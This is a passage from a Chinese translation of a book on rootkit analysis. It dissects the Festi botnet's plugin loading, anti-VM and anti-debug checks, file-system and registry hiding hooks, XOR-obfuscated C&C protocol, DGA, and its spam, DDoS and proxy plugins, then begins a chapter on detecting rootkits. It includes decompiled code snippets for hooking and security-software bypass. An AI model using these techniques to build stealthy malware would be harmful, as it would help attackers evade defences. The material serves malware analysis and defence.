配置信息管理器插件负责请求配置信息并从 C&C 服务器下载插件。这个简单的插件定期连接到 C&C 服务器以下载数据。两次连续请求之间的延迟由 C&C 服务器本身指定,可能是为了避免安全软件用来检测感染的静态模式。我们在“Festi 网络通信协议”中描述了机器人与 C&C 服务器之间的网络通信协议,详见第 26 页。

机器人插件管理器

机器人插件管理器负责维护已下载插件的数组。它接收来自 C&C 服务器的远程命令,并加载和卸载特定的插件,这些插件以压缩形式传送到系统中。每个插件都有一个默认的入口点—DriverEntry—并导出两个例程CreateModuleDeleteModule,如图 2-6 所示。

image

图 2-6:Festi 插件的导出地址表

CreateModule例程在插件初始化时执行,并返回指向PLUGIN_INTERFACE结构的指针,如列表 2-1 中所述。它以指向由主模块提供的几个接口的指针作为参数,例如内存管理器和网络接口。

当插件被卸载时,DeleteModule例程会被执行,释放之前分配的所有资源。图 2-7 展示了插件管理器加载插件的算法。

image

图 2-7:插件管理器算法

恶意软件首先将插件解压到内存缓冲区中,然后将其映射到内核模式地址空间作为 PE 镜像。插件管理器初始化导入地址表(IAT)并将其重定位到映射的镜像中。在这个算法中,Festi 还模拟了典型操作系统的运行时加载器和操作系统模块的动态链接器。

根据插件是加载还是卸载,插件管理器执行CreateModuleDeleteModule例程。如果插件正在加载,插件管理器获取插件的 ID 和版本信息,然后将其注册到PLUGIN_INTERFACE结构中。

如果插件正在卸载,恶意软件会释放之前分配给插件镜像的所有内存。

反虚拟机技术

Festi 有检测其是否在 VMware 虚拟机中运行的技术,以规避沙盒和自动化恶意软件分析环境。它尝试通过执行列表 2-2 中的代码获取任何现有的 VMWare 软件版本。

mov eax, 'VMXh'

mov ebx, 0

mov ecx, 0Ah

mov edx, 'VX'

in eax, dx

列表 2-2:获取 VMWare 软件版本

Festi 检查ebx寄存器,如果代码在 VMware 虚拟环境中执行,寄存器的值为VMX,否则为0

有趣的是,如果 Festi 检测到虚拟环境的存在,它不会立即终止执行,而是像在物理计算机上执行一样继续。当恶意软件从 C&C 服务器请求插件时,它提交某些信息,揭示它是否在虚拟环境中执行;如果是,C&C 服务器可能不会返回任何插件。

这可能是一种规避动态分析的技术:Festi 不终止与 C&C 服务器的通信,试图欺骗自动分析系统,使其认为 Festi 没有察觉到自己被监控,而实际上 C&C 服务器已经意识到自己正在被监控,因此不会提供任何命令或插件。恶意软件通常会在检测到它在调试器或沙盒环境中运行时终止执行,以避免泄露配置信息和有效载荷模块。

然而,恶意软件研究人员对这种行为非常敏感:如果恶意软件在没有执行任何恶意活动的情况下迅速终止,它可能会引起分析员的注意,分析员可能会进行更深入的分析,查明为什么它没有起作用,最终发现恶意软件试图隐藏的数据和代码。通过不在检测到沙箱时终止执行,Festi 试图避免这些后果,但它确实指示其 C&C 不向沙箱提供恶意模块和配置数据。

Festi 还检查系统中是否存在网络流量监控软件,这可能表明恶意软件已在恶意软件分析和监控环境中执行。Festi 查找内核模式驱动程序 npf.sys(网络数据包过滤器)。该驱动程序属于 Windows 数据包捕获库 WinPcap,常用于网络监控软件如 Wireshark,通过它可以访问数据链路层网络。npf.sys 驱动程序的存在表明系统上安装了网络监控工具,这对恶意软件来说是不安全的。

WINPCAP

Windows 数据包捕获库(WinPcap)允许应用程序捕获和传输网络数据包,绕过协议栈。它提供内核级网络数据包过滤和监控功能。许多开源和商业网络工具广泛使用此库作为过滤引擎,例如协议分析器、网络监控器、网络入侵检测系统和嗅探器,包括知名工具如 Wireshark、Nmap、Snort 和 ntop。

反调试技术

Festi 还通过检查从操作系统内核镜像导出的 KdDebuggerEnabled 变量,来检测系统中是否存在内核调试器。如果操作系统附加了系统调试器,该变量的值为 TRUE;否则,值为 FALSE

Festi 通过定期将调试寄存器 dr0dr3 清零,积极对抗系统调试器。这些寄存器用于存储断点的地址,移除硬件断点会阻碍调试过程。清除调试寄存器的代码在清单 2-3 中展示。

char _thiscall ProtoHandler_1(STRUCT_4_4 *this, PKEVENT a1)

{

__writedr(0, 0); // mov dr0, 0

__writedr(1u, 0); // mov dr1, 0

__writedr(2u, 0); // mov dr2, 0

__writedr(3ut 0); // mov dr3, 0

  return _ProtoHandler(&this->struct43, a1);

}

清单 2-3:Festi 代码中清除调试寄存器

突出的 writedr 指令对调试寄存器执行写操作。正如你所看到的,Festi 在执行负责处理恶意软件与 C&C 服务器之间通信协议的 _ProtoHandler 例程之前,将零写入这些寄存器。

隐藏磁盘上恶意驱动程序的方法

为了保护和隐藏存储在硬盘上的恶意内核模式驱动程序映像,Festi 钩住了文件系统驱动程序,以便它可以拦截并修改发送到文件系统驱动程序的所有请求,从而排除其存在的证据。

安装钩子的简化版例程见清单 2-4。

NTSTATUS __stdcall SetHookOnSystemRoot(PDRIVER_OBJECT DriverObject,

                                       int **HookParams)

{

  RtlInitUnicodeString(&DestinationString, L"\\SystemRoot");

  ObjectAttributes.Length = 24;

  ObjectAttributes.RootDirectory = 0;

  ObjectAttributes.Attributes = 64;

  ObjectAttributes.ObjectName = &DestinationString;

  ObjectAttributes.SecurityDescriptor = 0;

  ObjectAttributes.SecurityQualityOfService = 0;

➊ NTSTATUS Status = IoCreateFile(&hSystemRoot, 0x80000000, &ObjectAttributes,

                                 &IoStatusBlock, 0, 0, 3u, 1u, 1u, 0, 0, 0, 0,

                                 0x100u);

  if (Status < 0 )

    return Status;

➋ Status = ObReferenceObjectByHandle(hSystemRoot, 1u, 0, 0,

                                     &SystemRootFileObject, 0);

  if (Status < 0 )

    return Status;

➌ PDEVICE_OBJECT TargetDevice = IoGetRelatedDeviceObject(SystemRootFileObject);

  if ( !_ TargetDevice )

      return STATUS_UNSUCCESSFUL;

  ObfReferenceObject(TargetDevice);

  Status = IoCreateDevice(DriverObject, 0xCu, 0, TargetDev->DeviceType,

                          TargetDevice->Characteristics, 0, &SourceDevice);

  if (Status < 0 )

    return Status;

➍ PDEVICE_OBJECT DeviceAttachedTo = IoAttachDeviceToDeviceStack(SourceDevice,

                                                                TargetDevice);

  if ( ! DeviceAttachedTo )

  {

    IoDeleteDevice(SourceDevice);

    return STATUS_UNSUCCESSFUL;

  }

  return STATUS_SUCCESS;

}

清单 2-4:挂钩文件系统设备驱动程序堆栈

恶意软件首先尝试获取指向特殊系统文件SystemRoot的句柄,该文件对应于 Windows 安装目录 ➊。然后,通过执行ObReferenceObjectByHandle系统例程 ➋,Festi 获得指向与SystemRoot句柄对应的FILE_OBJECT的指针。FILE_OBJECT是操作系统用于管理设备对象访问的特殊数据结构,因此它包含指向相关设备对象的指针。在我们的案例中,由于我们打开了SystemRoot的句柄,DEVICE_OBJECT与操作系统的文件系统驱动程序相关联。恶意软件通过执行IoGetRelatedDeviceObject系统例程 ➌来获取指向DEVICE_OBJECT的指针,然后通过调用IoAttachDeviceToDeviceStack ➍将新设备对象附加到获取的设备对象指针上,如图 2-8 中所示的文件系统设备堆栈布局。Festi 的恶意设备对象位于堆栈的顶部,这意味着针对文件系统的 I/O 请求会被重定向到恶意软件。这使得 Festi 能够通过修改与文件系统驱动程序的请求和返回数据来隐藏自己。

image

图 2-8:Festi 挂钩的文件系统设备堆栈布局

在图 2-8 的最底部,您可以看到文件系统驱动程序对象以及处理操作系统文件系统请求的相应设备对象。这里可能还附加了一些额外的文件系统过滤器。朝图形的顶部,您可以看到 Festi 驱动程序附加到文件系统设备堆栈。

该设计使用并严格遵循 Windows 堆栈式 I/O 驱动程序设计,重现了本地操作系统的设计模式。到现在,您可能已经看到了趋势:rootkit 旨在与操作系统紧密集成,可靠地模仿成功的操作系统设计模式,为其模块提供支持。事实上,通过分析 rootkit 的各个方面(如 Festi 处理输入/输出请求的方式),您可以学到很多操作系统内部的知识。

在 Windows 中,文件系统 I/O 请求以 IRP 的形式表示,该请求从上到下经过堆栈。堆栈中的每个驱动程序都可以观察和修改请求或返回的数据。这意味着,如图 2-8 所示,Festi 可以修改针对文件系统驱动程序的 IRP 请求以及任何相应的返回数据。

Festi 通过IRP_MJ_DIRECTORY_CONTROL请求代码监视 IRP,该代码用于查询目录的内容,监视与恶意软件内核模式驱动程序所在位置相关的查询。如果它检测到此类请求,Festi 会修改文件系统驱动程序返回的数据,以排除任何与恶意驱动程序文件对应的条目。

保护 Festi 注册表键的方法

Festi 还使用类似的方法隐藏一个对应于已注册内核模式驱动程序的注册表项。该注册表项位于 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 中,包含 Festi 驱动程序的类型及其在文件系统中的路径。这使得它容易被安全软件检测到,因此 Festi 必须隐藏该项。

为此,Festi 首先通过修改系统服务描述符表(SSDT)钩住 ZwEnumerateKey,这是一种查询指定注册表项信息并返回所有子项的系统服务。SSDT 是操作系统内核中的一个特殊数据结构,包含系统服务处理程序的地址。Festi 将原始 ZwEnumerateKey 处理程序的地址替换为钩子地址。

Windows 内核补丁保护

值得一提的是,这种钩子方法——修改 SSDT——仅适用于 32 位的 Microsoft Windows 操作系统。正如在第一章中提到的,Windows 的 64 位版本实现了内核补丁保护(也称为 PatchGuard)技术,以防止软件修改某些系统结构,包括 SSDT。如果 PatchGuard 检测到任何受监控的数据结构被修改,它将导致系统崩溃。

ZwEnumerateKey 钩子监控针对 HKLM\System\CurrentControlSet\Service 注册表项的请求,该项包含与系统上安装的内核模式驱动程序相关的子项,包括 Festi 驱动程序。Festi 修改钩子中的子项列表,排除与其驱动程序相关的条目。任何依赖 ZwEnumerateKey 获取已安装内核模式驱动程序列表的软件都无法察觉 Festi 恶意驱动程序的存在。

如果注册表在关机过程中被安全软件发现并删除,Festi 还能够替换注册表项。在这种情况下,Festi 首先执行系统例程 IoRegisterShutdownNotification,以便在系统关闭时接收关机通知。它检查关机通知处理程序,查看恶意驱动程序和相应的注册表项是否存在于系统中,如果不存在(即如果它们被删除了),它会恢复它们,从而保证其在重启后仍能存在。

Festi 网络通信协议

为了与 C&C 服务器通信并执行其恶意活动,Festi 使用了一种自定义的网络通信协议,并且它必须保护该协议以防被窃听。在我们对 Festi 僵尸网络的调查过程中^(2),我们获取了它与之通信的 C&C 服务器列表,并发现虽然有些服务器专注于发送垃圾邮件,其他则执行 DDoS 攻击,但两种类型的服务器都采用了相同的通信协议。Festi 的通信协议分为两个阶段:初始化阶段,它获取 C&C 的 IP 地址;工作阶段,它从 C&C 请求任务描述。

初始化阶段

在初始化阶段,恶意软件获取 C&C 服务器的 IP 地址,这些域名存储在机器人(bot)的二进制文件中。这个过程有趣之处在于,恶意软件手动解析 C&C IP 地址。具体来说,它构造一个 DNS 请求包来解析 C&C 服务器域名,并将该包发送到 8.8.8.8 或 8.8.4.4 这两个 Google DNS 服务器的 53 端口。作为回应,Festi 接收到一个 IP 地址,以供后续通信使用。

手动解析域名使得僵尸网络更具抗查杀能力。如果 Festi 必须依赖本地 ISP 的 DNS 服务器来解析域名,ISP 有可能通过修改 DNS 信息来阻止对 C&C 服务器的访问——比如,如果执法机构发出命令封锁这些域名。然而,通过手动构造 DNS 请求并将其发送到 Google 服务器,恶意软件绕过了 ISP 的 DNS 基础设施,使得封锁变得更加困难。

工作阶段

工作阶段是 Festi 向 C&C 服务器请求执行任务的阶段。与 C&C 服务器的通信通过 TCP 协议进行。发送给 C&C 服务器的网络数据包请求布局如图 2-9 所示,包括消息头和特定插件数据数组。

image

图 2-9:发送到 C&C 服务器的网络数据包布局

消息头由配置管理插件生成,包含以下信息:

  • Festi 版本信息

  • 是否存在系统调试器

  • 是否存在虚拟化软件(VMWare)

  • 是否存在网络流量监控软件(WinPcap)

  • 操作系统版本信息

插件特定数据由一系列标签-值-终止条目组成:

标签 一个 16 位整数,指定标签后面的值类型

以字节、字、双字、以 null 结尾的字符串或二进制数组形式的特定数据

终止 终止词,0xABDC,表示条目的结束

标签-值-终止方案为恶意软件提供了一种方便的方式,将插件特定的数据序列化成网络请求并发送到 C&C 服务器。

数据在发送到网络之前,使用简单的加密算法进行了混淆。加密算法的 Python 实现如列表 2-5 所示。

key = (0x17, 0xFB, 0x71,0x5C) ➊

def decr_data(data):

  for ix in xrange(len(data)):

    data[ix] ^= key[ix % 4]

列表 2-5:网络加密算法的 Python 实现

恶意软件使用一个滚动的 XOR 算法,配合一个固定的 4 字节密钥 ➊。

绕过安全和取证软件

为了能够通过网络与 C&C 服务器通信、发送垃圾邮件并执行 DDoS 攻击,同时避开安全软件,Festi 依赖于 Windows 内核模式下实现的 TCP/IP 堆栈。

为了发送和接收数据包,恶意软件会根据使用的协议类型打开 \Device\Tcp\Device\Udp 设备的句柄,并采用一种相当有趣的技术来获取该句柄,而不会引起安全软件的注意。在设计这种技术时,Festi 的作者再次展现了对 Windows 系统内部结构的出色理解。

为了控制主机上对网络的访问,一些安全软件通过拦截 IRP_MJ_CREATE 请求来监控对这些设备的访问。当有人尝试打开句柄以与设备对象通信时,这些请求会被发送到传输驱动程序。这样,安全软件就可以确定哪个进程正在尝试通过网络进行通信。一般来说,安全软件监控对设备对象访问的最常见方法是:

  • 挂钩 ZwCreateFile 系统服务处理程序,以拦截所有尝试打开设备的操作

  • 附加到 \Device\Tcp\Device\Udp 以拦截所有发送的 IRP 请求

Festi 聪明地绕过了这两种技术,从而建立了与远程主机的网络连接。

首先,Festi 并没有使用系统实现的 ZwCreateFile 系统服务,而是实现了一个几乎具有与原版相同功能的自定义系统服务。Figure 2-10 展示了 ZwCreateFile 例程的自定义实现。

image

Figure 2-10: ZwCreateFile 例程的自定义实现

你可以看到,Festi 手动创建了一个文件对象,以便与正在打开的设备进行通信,并直接向传输驱动程序发送 IRP_MJ_CREATE 请求。因此,所有附加到 \Device\Tcp\Device\Udp 的设备将错过该请求,而安全软件不会注意到这一操作,如 Figure 2-11 所示。

在图的左侧,你可以看到 IRP 是如何被正常处理的。IRP 包会经过完整的驱动程序堆栈,所有钩入其中的驱动程序——包括安全软件——都会接收到 IRP 包并检查其内容。图的右侧展示了 Festi 如何直接将 IRP 包发送到目标驱动程序,绕过了所有中间驱动程序。

image

Figure 2-11: 绕过网络监控安全软件

Festi 同样巧妙地绕过了第二种安全软件技术。为了直接向 \Device\Tcp\Device\Udp 发送请求,恶意软件需要指向相应设备对象的指针。负责此操作的代码片段在 Listing 2-6 中展示。

   RtlInitUnicodeString(&DriverName, L"\\Driver\\Tcpip");

   RtlInitUnicodeString(&tcp_name, L"\\Device\\Tcp");

   RtlInitUnicodeString(&udp_name, L"\\Device\\Udp");

➊ if (!ObReferenceObjectByName(&DriverName,64,0,0x1F01FF,

                                IoDriverObjectType,0,0,&TcpipDriver))

   {

     DevObj = TcpipDriver->DeviceObject;

  ➋ while ( DevObj )                          // iterate through DEVICE_OBJECT

     {                                         // linked list

       if ( !ObQueryNameString(DevObj, &Objname, 256, &v8) )

       {

      ➌ if ( RtlCompareUnicodeString(&tcp_name, &Objname, 1u) )

         {

       ➍  if ( !RtlCompareUnicodeString(&udp_name, &Objname, 1u) )

           {

             ObfReferenceObject(DevObj);

             this->DeviceUdp = DevObj;        // Save pointer to \Device\Udp

           }

         } else

         {

           ObfReferenceObject(DevObj);

           this->DeviceTcp = DevObj;          // Save pointer to \Device\Tcp

         }

       }

       DevObj = DevObj->NextDevice;       // get pointer to next DEVICE_OBJECT

                                          // in the list

     }

     ObfDereferenceObject(TcpipDriver);

   }

Listing 2-6: 实现绕过网络监控安全软件的技术

Festi 通过执行ObReferenceObjectByName例程➊(一个未公开的系统例程)并传递一个指向 Unicode 字符串的指针,该字符串包含目标驱动程序的名称,来获取指向tcpip.sys驱动程序对象的指针。然后,恶意软件遍历与该驱动程序对象对应的设备对象列表➋,并将其名称与\Device\Tcp ➌和\Device\Udp ➍进行比较。

当恶意软件以这种方式获取打开的设备句柄时,它使用该句柄在网络上发送和接收数据。尽管 Festi 能够避开安全软件,但通过使用操作在比 Festi 更低层次的网络流量过滤器(例如,在网络驱动接口规范 NDIS 层次)仍然可以看到它发送的包。

C&C 服务器失效的域名生成算法

Festi 的另一个显著特点是它实现了一个域名生成算法(DGA),用于在 C&C 服务器的域名在机器人的配置数据中无法访问时作为回退机制。例如,如果执法机构关闭了 Festi C&C 服务器的域名,而恶意软件无法下载插件和命令时,就会发生这种情况。该算法以当前日期为输入,并输出一个域名。

表 2-2 列出了 Festi 样本的基于 DGA 的域名。如您所见,所有生成的域名都是伪随机的,这是 DGA 生成的域名的特点。

表 2-2: Festi 生成的 DGA 域名列表

日期 DGA 域名
07/11/2012 fzcbihskf.com
08/11/2012 pzcaihszf.com
09/11/2012 dzcxifsff.com
10/11/2012 azcgnfsmf.com
11/11/2012 bzcfnfsif.com

实现 DGA 功能使得僵尸网络对接管尝试具有抗性。即使执法机关成功禁用了主要的 C&C 服务器域名,僵尸网络主控者仍然可以通过回退到 DGA 重新获得对僵尸网络的控制。

恶意功能

现在我们已经讨论了 rootkit 功能,接下来来看一下从 C&C 服务器下载的恶意插件。在我们的调查过程中,我们获取了这些插件的样本,并已识别出三种类型:

  • BotSpam.sys用于发送垃圾邮件

  • BotDos.sys用于执行 DDoS 攻击

  • BotSocks.sys提供代理服务

我们发现,不同的 C&C 服务器倾向于提供不同类型的插件:一些 C&C 服务器仅向机器人提供垃圾邮件插件,而其他服务器则只处理 DDoS 插件,这表明恶意软件的功能取决于它所报告的 C&C 服务器。Festi 僵尸网络并非一个统一体,而是由多个针对不同目标的子僵尸网络组成。

垃圾邮件模块

BotSpam.sys插件负责发送垃圾邮件。C&C 服务器向其发送一个垃圾邮件模板和一个收件人电子邮件地址列表。图 2-12 展示了垃圾邮件插件的工作流程。

image

图 2-12:Festi 垃圾邮件插件的工作流程图

首先,插件与其 C&C 服务器建立加密连接,以下载包含发件人参数和实际垃圾邮件模板的电子邮件地址列表。然后,它将垃圾邮件分发给收件人。与此同时,恶意软件向 C&C 服务器报告状态,并请求更新电子邮件列表和垃圾邮件模板。

插件会检查通过 SMTP 服务器发送的电子邮件的状态,扫描来自 SMTP 服务器的响应,寻找特定字符串以指示问题——例如,如果没有找到指定地址的收件人,电子邮件未被接收,或电子邮件被归类为垃圾邮件。如果在 SMTP 服务器的响应中发现这些字符串,插件会优雅地终止与 SMTP 服务器的会话,并获取列表中的下一个地址。这个预防措施有助于恶意软件避免 SMTP 服务器将感染机器的 IP 地址列入黑名单,防止其继续发送垃圾邮件。

DDoS 引擎

BotDos.sys 插件使僵尸网络能够对指定主机执行 DDoS 攻击。该插件支持多种类型的 DDoS 攻击,能够针对不同软件安装的各种架构和主机进行攻击。攻击类型取决于从 C&C 接收到的配置信息,涵盖 TCP 洪水、UDP 洪水、DNS 洪水和 HTTP 洪水等攻击。

TCP 洪水

在 TCP 洪水攻击中,僵尸网络向目标机器上的端口发起大量连接。每次 Festi 连接到服务器上的目标端口时,服务器会分配资源来处理传入的连接。很快,服务器的资源耗尽,无法再响应客户端请求。

默认端口是 HTTP 端口 80,但可以通过来自 C&C 服务器的相应配置信息更改,从而使恶意软件能够攻击监听其他端口(而非 80 端口)的 HTTP 服务器。

UDP 洪水

在 UDP 洪水攻击中,僵尸网络发送长度随机生成的 UDP 数据包,并填充随机数据。数据包的长度可以是 256 到 1,024 字节之间。目标端口也是随机生成的,因此不太可能是开放的。结果,攻击会导致目标主机生成大量 ICMP 目标不可达数据包进行回应,从而使目标机器无法使用。

DNS 洪水

僵尸网络还能够通过向目标主机的 53 端口(DNS 服务)发送大量 UDP 数据包来执行 DNS 洪水攻击。数据包包含解析在 .com 域区中随机生成的域名的请求。

HTTP 洪水

在针对 Web 服务器的 HTTP 洪水攻击中,僵尸网络的二进制文件包含多个不同的用户代理字符串,用于与 Web 服务器创建大量 HTTP 会话,导致远程主机超载。列表 2-7 包含了组装并发送 HTTP 请求的代码。

int __thiscall BuildHttpHeader(_BYTE *this, int a2)

{

➊ user_agent_idx = get_rnd() % 0x64u;

  str_cpy(http_header, "GET ");

  str_cat(http_header, &v4[204 * *(_DWORD *)(v2 + 4) + 2796]);

  str_cat(http_header, " HTTP/1.0\r\n");

  if ( v4[2724] & 2 )

  {

    str_cat(http_header, "Accept: */*\r\n");

    str_cat(http_header, "Accept-Language: en-US\r\n");

    str_cat(http_header, "User-Agent: ");

  ➋ str_cat(http_header, user_agent_strings[user_agent_idx]);

    str_cat(http_header, "\r\n");

  }

  str_cat(http_header, "Host: ");

  str_cat(http_header, &v4[204 * *(_DWORD *)(v2 + 4) + 2732]);

  str_cat(http_header, "\r\n");

  if ( v4[2724] & 2 )

    str_cat(http_header, "Connection: Keep-Alive\r\n");

  str_cat(http_header, "\r\n");

  result = str_len(http_header);

  *(_DWORD *)(v2 + 16) = result;

  return result;

}

列表 2-7:Festi DDoS 插件组装 HTTP 请求的片段

在 ➊ 处,代码生成一个值,然后在 ➋ 处作为用户代理字符串数组的索引使用。

Festi 代理插件

BotSocks.sys 插件通过在 TCP 和 UDP 协议上实现 SOCKS 服务器,为攻击者提供远程代理服务。SOCKS 服务器代表客户端与另一个目标服务器建立网络连接,然后将所有流量在客户端和目标服务器之间来回转发。

因此,感染 Festi 的计算机变成了一个代理服务器,允许攻击者通过感染的计算机连接到远程服务器。网络犯罪分子可能会使用这种服务进行匿名化——即隐藏攻击者的 IP 地址。由于连接是通过感染的主机发生的,远程服务器可以看到受害者的 IP 地址,但看不到攻击者的 IP 地址。

Festi 的 BotSocks.sys 插件没有使用任何反向连接代理机制来绕过 NAT(网络地址转换),NAT 使得网络中的多个计算机可以共享一个外部可见的 IP 地址。一旦恶意软件加载了插件,它会打开一个网络端口并开始监听传入连接。端口号是从 4000 到 65536 的范围内随机选择的。插件将它所监听的端口号发送给 C&C 服务器,以便攻击者能够与受害计算机建立网络连接。NAT 通常会阻止这种传入连接(除非为目标端口配置了端口转发)。

BotSocks.sys 插件还试图绕过 Windows 防火墙,否则防火墙可能会阻止端口的打开。该插件修改了注册表项 SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List,该项包含可以在 Windows 防火墙配置文件中打开的端口列表。恶意软件在此注册表项中添加了两个子项,以便允许来自任何目标的 TCP 和 UDP 传入连接。

SOCKS

Socket Secure (SOCKS) 是一种互联网协议,通过代理服务器在客户端和服务器之间交换网络数据包。SOCKS 服务器将来自 SOCKS 客户端的 TCP 连接代理到任意 IP 地址,并提供转发 UDP 数据包的手段。SOCKS 协议通常被网络犯罪分子用作一种绕过工具,允许流量绕过互联网过滤器,从而访问本应被封锁的内容。

结论

现在你应该已经完整了解了 Festi rootkit 的功能及其用途。Festi 是一款有趣的恶意软件,具有精心设计的架构和精心打造的功能。恶意软件的每个技术方面都符合其设计原则:保持隐蔽,并且能够抵抗自动化分析、监控系统和取证分析。

从 C&C 服务器下载的易变恶意插件不会在感染机器的硬盘上留下任何痕迹。使用加密技术保护连接 C&C 服务器的网络通信协议,使得在网络流量中难以检测到 Festi,且通过高级的内核模式网络套接字使用,允许 Festi 绕过某些主机入侵防御系统(HIPS)和个人防火墙。

该僵尸程序通过实现 rootkit 功能,隐藏其主模块及相应的注册表键值,从而避开安全软件。这些方法在 Festi 最为流行时对安全软件非常有效,但也暴露了其一个主要缺陷:它仅针对 32 位系统。Windows 操作系统的 64 位版本实施了现代安全功能,如 PatchGuard,使得 Festi 的入侵工具无效。64 位版本还要求内核模式驱动程序拥有有效的数字签名,这显然对于恶意软件来说不是容易的选择。如第一章所述,为了绕过这一限制,恶意软件开发者想出了实现引导工具技术的解决方案,我们将在第二部分中详细介绍这一技术。

第三章:观察根 kit 感染

Image

我们如何检查一个潜在感染的系统是否藏有根 kit 呢?毕竟,根 kit 的整个目的就是防止管理员检查系统的真实状态,因此发现感染证据可能是一场智力较量——或者更准确地说,是一次理解系统内部结构的竞赛。分析人员必须最初对从感染系统获得的任何信息保持怀疑,并努力寻找即便在受损状态下也可信赖的更深层次证据。

从 TDL3 和 Festi 根 kit 的例子中我们知道,依赖于在若干固定位置检查内核完整性的检测根 kit 方法很可能会失败。根 kit 不断进化,因此新型根 kit 很有可能使用防御软件尚未掌握的技术。实际上,在 2000 年代初根 kit 的黄金时代,根 kit 开发者不断引入新的技巧,使得他们的根 kit 能够避开检测长达数月,直到防御者能够开发出新的稳定检测方法并将其添加到防御软件中。

有效防御的开发延迟为一种新型软件工具——专用反根 kit软件——创造了市场,这类工具在其检测算法(有时甚至是系统稳定性)上作出妥协,以便更快速地发现根 kit。当这些算法逐渐成熟后,它们成为了更传统的主机入侵预防系统(HIPS)产品的一部分,并加入了新的“前沿”启发式方法。

面对防御方面的这些创新,根 kit 开发者通过想出方法积极破坏反根 kit 工具来回应。系统级的防御与进攻通过多个周期共同进化。在这一共同进化过程中,尤其是由于它的存在,防御者大大完善了对系统组成、攻击面、完整性和保护特征的理解。在计算机安全领域,这些来自微软高级安全研究员 John Lambert 的话在此处和其他地方都很真实:“如果你羞辱攻击研究,你就误判了它的贡献。进攻与防守并不是平等的。防守是进攻的孩子。”

为了有效捕捉根 kit,防御者必须学会从根 kit 创建者的角度思考。

拦截方法

根 kit 必须在操作系统的特定点上拦截控制,以防止反根 kit 工具启动或初始化。这些拦截点非常多,既存在于标准操作系统机制中,也存在于未记录的机制中。拦截方法的一些例子包括:修改关键函数中的代码,改变内核及其驱动程序中各种数据结构的指针,以及使用直接内核对象操作(DKOM)等技术操控数据。

为了给这个看似无尽的列表带来一些秩序,我们将考虑三个主要的操作系统机制,rootkit 可以通过拦截这些机制来控制程序的启动和初始化:系统事件、系统调用和对象调度器。

拦截系统事件

获得控制的第一种方法是通过 事件通知回调 来拦截系统事件,事件通知回调是用于处理各种类型系统事件的操作系统接口。合法驱动程序需要通过加载可执行二进制文件、创建和修改注册表键来响应新进程或数据流的创建。为了避免驱动程序开发者创建脆弱的、未记录的钩子解决方案,微软提供了标准化的事件通知机制。恶意软件编写者使用相同的机制,通过他们自己的代码响应系统事件,取代合法的响应。

举一个例子,内核模式驱动程序的 CmRegisterCallbackEx 例程注册了一个回调函数,该函数在每次有人对系统注册表进行操作时执行,比如创建、修改或删除注册表键。通过滥用这个功能,恶意软件可以拦截所有对系统注册表的请求,检查这些请求,然后决定是阻止还是允许它们。这使得 rootkit 能够保护任何与其内核模式驱动程序相对应的注册表键,隐藏它们免受安全软件的检测,并阻止任何试图删除它们的操作。

在系统注册表中注册内核模式驱动程序

在 Windows 中,每个内核模式驱动程序在系统注册表中都有一个专门的条目,位于 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 键下。该条目指定了驱动程序的名称、驱动程序类型、驱动程序镜像在磁盘上的位置,以及驱动程序何时加载(按需加载、启动时加载、系统初始化时加载等等)。如果删除此条目,操作系统将无法加载内核模式驱动程序。为了在目标系统上保持持久性,内核模式 rootkit 通常会保护其对应的注册表条目,以防被安全软件删除。

另一种恶意的系统事件拦截利用了内核模式驱动程序的 PsSetLoadImageNotifyRoutine 例程。这个例程注册了回调函数 ImageNotifyRoutine,每当可执行镜像被映射到内存中时,该回调函数会被执行。回调函数接收关于正在加载的镜像的信息——即镜像的名称和基地址,以及该镜像被加载到的进程地址空间的标识符。

Rootkit 经常滥用 PsSetLoadImageNotifyRoutine 函数,将恶意负载注入目标进程的用户模式地址。通过注册回调函数,rootkit 会在图像加载操作发生时收到通知,并可以检查传递给 ImageNotifyRoutine 的信息,以判断目标进程是否值得关注。例如,如果 rootkit 只想将用户模式负载注入网页浏览器,它可以检查正在加载的图像是否对应于浏览器应用程序,并据此采取行动。

内核还提供了其他接口,暴露类似的功能,我们将在接下来的章节中讨论它们。

拦截系统调用

第二种感染方法涉及拦截另一个关键的操作系统机制:系统调用,这是用户程序与内核交互的主要方式。由于几乎所有的用户空间 API 调用都会生成一个或多个对应的系统调用,能够调度系统调用的 rootkit 就能完全控制系统。

作为例子,我们将研究拦截文件系统调用的方法,这对于必须始终隐藏自身文件以防止被意外访问的 rootkit 尤为重要。当安全软件或用户扫描文件系统中的可疑或恶意文件时,系统会发出系统调用,指示文件系统驱动程序查询文件和目录。通过拦截这些系统调用,rootkit 可以操控返回数据,将其恶意文件的信息从查询结果中排除(正如我们在《隐藏磁盘上的恶意驱动程序方法》中看到的,见第 22 页)。

要了解如何应对这些滥用行为并保护文件系统调用免受 rootkit 的侵害,我们首先需要简要了解文件子系统的结构。这是操作系统内核内部如何被分为多个专业层级并遵循许多交互规范的完美例子——这些概念即使对大多数系统开发人员也是模糊的,但对 rootkit 编写者而言却不然。

文件子系统

Windows 文件子系统与其 I/O 子系统紧密集成。这些子系统是模块化和分层的,每个层级的功能由独立的驱动程序负责。主要有三种类型的驱动程序。

存储设备驱动程序是与特定设备的控制器(如端口、总线和硬盘驱动器)交互的低级驱动程序。大多数这些驱动程序是即插即用(PnP)的,由 PnP 管理器加载和控制。

存储卷驱动程序 是中间层驱动程序,控制存储设备分区上的卷抽象。为了与磁盘子系统的较低层交互,这些驱动程序创建了一个 物理设备对象 (PDO) 来表示每个分区。当文件系统挂载到某个分区时,文件系统驱动程序会创建一个 卷设备对象 (VDO),它代表该分区,向更高层的文件系统驱动程序展示,接下来会解释这一点。

文件系统驱动程序 实现特定的文件系统,如 FAT32、NTFS、CDFS 等,并且还会创建一对对象:一个 VDO 和一个 控制设备对象 (CDO),它表示给定的文件系统(与底层分区不同)。这些 CDO 设备的名称通常为 \Device\Ntfs

注意

欲了解更多关于不同类型驱动程序的信息,请参考 Windows 文档 (docs.microsoft.com/en-us/windows-hardware/drivers/ifs/storage-device-stacks--storage-volumes--and-file-system-stacks/)。

图 3-1 展示了使用 SCSI 磁盘设备作为示例的设备对象层次结构的简化版本。

